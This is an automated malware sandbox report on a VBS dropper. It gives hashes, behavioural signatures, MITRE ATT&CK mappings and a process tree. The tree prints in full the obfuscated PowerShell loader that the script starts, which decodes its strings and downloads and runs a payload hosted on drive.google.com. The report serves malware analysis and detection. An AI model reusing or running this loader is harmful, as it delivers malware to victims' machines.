4de81af0f088cad4f0beb95699a49a7bb8dcb7335e48e9ab6a15567ef3e5c9b1

General

Target

4de81af0f088cad4f0beb95699a49a7bb8dcb7335e48e9ab6a15567ef3e5c9b1.vbs
Size

36KB
MD5

c396c7ce351553e41db0fd9a6555a38e
SHA1

4fd3ae9de04e3c77a6a17096115a2d13c0136f6c
SHA256

4de81af0f088cad4f0beb95699a49a7bb8dcb7335e48e9ab6a15567ef3e5c9b1
SHA512

5705881792db6c59ae80bb6cb118ff3592413cd344da0baad70c837e62cd4e3f331045c63cb6503d20e23b6654a2408acd74b250526041e314dafe24a77565a2
SSDEEP

768:G/pRmEb0vlFNT1WFQk5gW5W9IVOwvRK6pmUM:IpRmEbmlb1rqgUhQwvRlPM

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2240	WScript.exe
7	2604	powershell.exe
9	2604	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2604	2240	WScript.exe	28
PID 2240 wrote to memory of 2604	2240	WScript.exe	28
PID 2240 wrote to memory of 2604	2240	WScript.exe	28
PID 2604 wrote to memory of 3016	2604	powershell.exe	30
PID 2604 wrote to memory of 3016	2604	powershell.exe	30
PID 2604 wrote to memory of 3016	2604	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4de81af0f088cad4f0beb95699a49a7bb8dcb7335e48e9ab6a15567ef3e5c9b1.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Standsfordoms227 = 1;$Gldstningernes='S';$Gldstningernes+='ubstrin';$Gldstningernes+='g';Function vaelg($Panchion151){$Enbaarnes=$Panchion151.Length-$Standsfordoms227;For($Counterwilling=5; $Counterwilling -lt $Enbaarnes; $Counterwilling+=(6)){$Lapningen+=$Panchion151.$Gldstningernes.Invoke($Counterwilling, $Standsfordoms227);}$Lapningen;}function Hearsed($Overslow){& ($Riddersamfundene) ($Overslow);}$Tayra=vaelg ' ObtuMPlatho Milkzmascui lguilKultulDriftaI,cap/ lykn5 Ove .Arch 0Indvn Nap.(CompaWBostti Jon,nRevesdablenoTogbew perkspunkt SchcNCardsTTopsk Euchl1Conc 0Ud ly. R.nc0 Fars;Nadve PaalW Sp.ci isson Smaa6 Bel 4Demil;Locul C,lycxM,que6Mades4Lan,v;Diama ,eritr GambvQuirk:Grav 1Skjol2Varme1Chiff. fam,0Humif)Profi .emiaGDiskuePrep,c permkThengo Vr l/Aghas2 Outc0hunbu1ma is0.ussu0B.dev1Calef0 Purs1Udkmp SammeFU.vepi,edrirVrtsdeVol if FldeoVaticxJa,ve/zoome1.ilmo2Yndk 1 Indf. Bobt0 Wake ';$Pseudoethically=vaelg 'GldseUGraeasPa iseVragvrUn.ac- TautAPantagEftrueOrigin AukntIndga ';$stenhjsplante=vaelg 'Apperh Jge.tFjernt,onaspZo,ens Trsk: ranc/Runro/UntardReo,erOrogei,ntimvTemple Gr p.antihgBankroImbiroCymblg NegrlUdyrke ambu.AdipocBuddioS idgm Knok/Indviu ByggcLub,i?Fo,tieb,blixSyndep.akieoJar.or Co,it Tota=MataddHakkeo ennewKonsun,orral Quelo AssiaMi ekdEgenb&IrritiElvrkdKonti=Be.pa1I.dseJVintezFemte_ InciC TrebrHjemv4 PostI,omelQUsynlLNonma7KontrlFortrC ,eyljStansiEf.ecKElvirBTurnhZtjeneA ProgxS,bstIslvbrdBic rYEjuraZ .onsfTaktrXMormov HomiWBel.ef W mapSkriv_Ga,trGFllesuHygro ';$unforgetting=vaelg 'Murki>Ki,de ';$Riddersamfundene=vaelg 'Procai Domme vejsx Slub ';$Lobbish='tiglons';Hearsed (vaelg 'AcidoSDogcaeBaptitKonce- RejuCPharmoDyre,nBrowbt Kvote MukknprogrtSelek Br.g-Le,otPFellaaUdlbstradenh .lva rejTLaten: I,co\ GourS UndepOdorfiThetas KoedePipram LsgruUnimpl En,uiUnrepg Gibuh Strie ,ybodUnauteBrordr .hotnUdbene Anges rian.Per ctOmplaxG.ycetSknj, Lett-Ti drVSidesa amskl Libeu TeukeHjr,m Dec n$StemmLchievoOvergbSkndib OtheiCaravsG,nechElean;These ');Hearsed (vaelg 'Hvni iFinmefAnkle Anecd(Fre stSkil,eMyelisMessitUnk,i- Und.pPrepea yatot BlashFiske S,loeT ,fvi:Dunja\D.ggeSBlikkpSkjteiTmme sPantseVenesmAfideu Ked,lUnadhiAn.legRe,onhPreaderhiz,d PlayeDendrrMinifnMer.yeFec.ssRette.Sv ndt U.etxExtratStous).ecou{Fa tieRad ux tilgiFoerbtMinds} C,pl;dagsp ');$Filtpennens = vaelg 'Fe.nseTrappcExquih TricoDdeli Pound%.ufflaDetalpSubsip Unded ZoopaFle,rtPrediaBab.i% stil\RecreA,itupq arrugargoaNedvrlUnconuErythnPrezygHardie NonerLiparsFiler.Pr,caGWelfaePlausnSorte Cowpe&Maldu&Julek UnureUredicgwe.ihYokelo Ficu Kogec$Overl ';Hearsed (vaelg 'Under$KolibgSorril FeldoRacehbNona.a Si,alEndoc:.ymmeUIndlgd ElibtScabbr Po.trSkarpeCo sodBetnkeHom.f6d.ggo1T,ske=.oren(Cogn cIlpakm AnsadUncal Sporv/M,rihcHaunt Misse$Psyc.FOlivaiTilbyl,ftertVideopFav ueSti rnCuficnExtineKolonnTab,lsSo it) Runn ');Hearsed (vaelg 'Ampli$AnnekgLy.anl Rug omuchebCartoa DejelErsat:AdoniPOrdborPresueFejlmdNoe,ee .elvbBacteat lletKi klepneum= Hya $S persFo mltTil,aeBack.n KopphMassaj AfstsRudekpRace,lStatsaInfi.nAtiontDi,loe Tils.m,noesBr mspFo,sklSf rsi Galvtnesog(Sjk.e$KendiuAntibn lintfFlu,koKartorAkselgsor,ieForsatOutfitTvangiLuftknAnkergLysat)A vok ');$stenhjsplante=$Predebate[0];Hearsed (vaelg 'g.ana$ Permg Resgl Vb.eoSubarbBulleaMisbilFr.ns: SediABaisssPolyckReageeInterbTuerbgN.sopr Salge Stemt LogisD.omi= ChryN bedieKarriwPr,to-Do.meOL,eribBepuzjEntereWhu.ec Bo,ot Rege Pr.sSMolekyBarbesAmeritFloreeW,stnmO,lev. AtriNUnworeIc,thtNikan. UnjuWHakoreBaredbUn laCRea.al.rdnuiHeterePublinFor st boog ');Hearsed (vaelg ',zone$ LikiAKderysSekunkeksprePaaanbDocumgBomberEgmabeOve bt PerisFemog. Sc.nHSprote .ervaPigridTungheacci.rSubsesFlaat[Simle$BeautP Unsus,fkrfeDalmouTher.d izieo Dis,eWho.etAscrihSvovli,ircuctipieaInsullSrtrylperikyVogui]Vrdi =Delko$For.kTTu.leaparacy,phiorNosolaSta.t ');$tilbagebetalingerne=vaelg 'Cyp.eASp snsBa.rik ndereUranib .erigCorodrKammeeFo fitEnsnasTroll.ArbejDfrib,oKommuwPjk enRidicl Stero HeteaText.dGreigF NonniGratil lodseStenk(Aviss$ ko.osFami.t ,ntae,eksan DapphWeepajfestfs Tr,kpCerialSuleraNomogn,uddotOsmone ratc,child$AnsvaAVltedgS.nioaPresstSubniiGriecs BraceSt rts,rere)Afso. ';$tilbagebetalingerne=$Udtrrede61[1]+$tilbagebetalingerne;$Agatises=$Udtrrede61[0];Hearsed (vaelg 'Amtsr$ DatagSjleflNobeloFine bSvolva.ugtilSteg :Rail,TRiposhelectaCautenIdeala burrtB arno RoyapHovedsUnfadiFatnesFr tu2 Nyhe5Stnks3 ftfb=Chuck(ClamoTSidnee Anthshatert Nond-CartoP Bo naTi.sttunquihDerm. Skors$KriseA HavegThoroaskit.tAttriiGeyers kibseC.aftsSprog)Bagat ');while (!$Thanatopsis253) {Hearsed (vaelg ' Sie.$Foraag ,einlTilgroApi.cb nstaVejanl Navn:SjxzgM sycheMoppesYawnetTrissere imrTrioss.ilkmtHimaty.lutkkD untkJ tmoe ChryrArbej=Tilbj$Norm,tPegalrHurriu Su.teTekst ') ;Hearsed $tilbagebetalingerne;Hearsed (vaelg 'SvartSfejlpt .npeaLidd,rDavent Ar u-ForlaS imprlPastieLnpo eOvertpGauss skvu4Doppe ');Hearsed (vaelg ' carb$Tapi,gSparslStartoP.thablgeuna toevlChor.:SkedtTCycloh VillaTailen,egioa asyut Effeo.nderpFdevasapteriConocsTa ta2Haven5qetst3Courg= Pu.s(Skul,TUnaf eUnd.isGringtF.lli-defkaPT neda PorttIsthmhSjofe Conta$ SympApantegk,rkea PseutMarthi Ab.esDrkene,rosssAbdik)Bal.n ') ;Hearsed (vaelg 'Penal$ ArregHe.tslAmphio OverbTolvtaAutoflSaltn: NonsLUdstya rocbSny.tiDesinoSandilCervoiPassin g begBeefcu Bo daSupral.waye=Helio$Slav.gAng,llPublioRyttebRewokaskuddlThaum:Refe.ACacask AndrtBambuic.vileSelenpRouleoBlysts M rst t,rceKoketn.irigs Tekn+M,nik+Udrej%Infl,$DanubPPros.rEftereMan edP,ogreUrochbSpan.aBitchtBelyseSuppl.HoldncDaghooSk.oeuinddanReckotWhigm ') ;$stenhjsplante=$Predebate[$Labiolingual];}Hearsed (vaelg 'Julet$ ttagRhynclmicrooKilo bDschuaadoreludra,:Sor kFGgleraMinernForsttPul eaZard sHemicmHams a.ecangHoldkoEndarrCuproi ,ittcOrdmn Krudt= A,no ForhaG Or se Unp tLek,i-StammCZ.neso Sej,n Roc.t TriaeTriasnUdlngtTenia Aloof$ArgilA Phi,gInteraunawat fas.iSynecsK.ralePoly.sGoale ');Hearsed (vaelg 'Autok$OrselgCong lS.utlo,vnhubThralaUsymmlSnda,:PromoUSmkfunDiffeiTypedt Sect Infam=Hib s Th.ea[ ,eleS S,eeyJentrstetantFejlbe alcymJvne . MaisCHoldfoKonstnStvfrvdiscrepuirnr quartF,osc]Till,: Ggek:L mniF ekterBeanyoHieromKa,teBRene.aIm unsFstebeOverv6Eclip4UnverS ,ammt.ruddrBissei OmstnDesmogS ene(Idali$ BundFRedliaforbrnRetsft wi daTaurasI.ksnmDiamia.hospgTenovoExc.rrBokoviPostecBrand)Natur ');Hearsed (vaelg 'Bicom$Pole gprecilSmuttoFiresbbevgeaKohrel Exci:Misl.SIndprp LincrUnabsgFrib e Enaas potekpaksee,ornum VigeaT,ypauRubannKro.gdDourpe,orverIm res ,oregbetonePredilKast,s salme Tekns,aryo7 Anma3 ulti Culp=rive, Nonex[StillSAfstryAntitsKemottBismaePreprmM.cid. UpblT Org.eFingexMesivtS,eve.Gs.etESvmmenUnravcnonreoBrndedSubfeiT.ninnNon.eg ikta] b.in: Sens: CallALigniSNondeCFlounILif lIWiene.B.rumGSuraaeMi.uttDive.SFlipptCustor M.rbi Bathn Bachg,nlgs(Kldes$AnderU Art,nLigesi Forkt tte)Ation ');Hearsed (vaelg 'Fremm$Adreng Myr l S.aloL.vlybS.amsa OscilTackl:FrdelTMultil PrehpBroxoeSknjorpa,tenBsseseJacob=Camel$B betSR.ffep Skolr Vejrg.ariaeSlavesSag.nkLetlbe Kom.maeropaOverou MasknA vecdSooraeudsprr Skovs ElangInfluestorslmetalsHnsesetunossBistt7.mber3 Broc.AfslasInstyubalsab Agros betrt,trafrNinniiC.rbonBro,dg S.rc(Dawte3Leuck0 Ins,2 Lenn2Headg4 Biff3A.sbn,Jingo2 Sexa7Euroc7Sujet9Valen6Peiks)Dishw ');Hearsed $Tlperne;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Aqualungers.Gen && echo $"
    3⤵
    PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2604-22-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2604-21-0x000000001B820000-0x000000001BB02000-memory.dmp

Filesize
2.9MB

Download
memory/2604-25-0x0000000002DB0000-0x0000000002E30000-memory.dmp

Filesize
512KB

Download
memory/2604-27-0x0000000002DB0000-0x0000000002E30000-memory.dmp

Filesize
512KB

Download
memory/2604-26-0x0000000002DB0000-0x0000000002E30000-memory.dmp

Filesize
512KB

Download
memory/2604-24-0x0000000002DB0000-0x0000000002E30000-memory.dmp

Filesize
512KB

Download
memory/2604-23-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-28-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-31-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-32-0x0000000002DB0000-0x0000000002E30000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing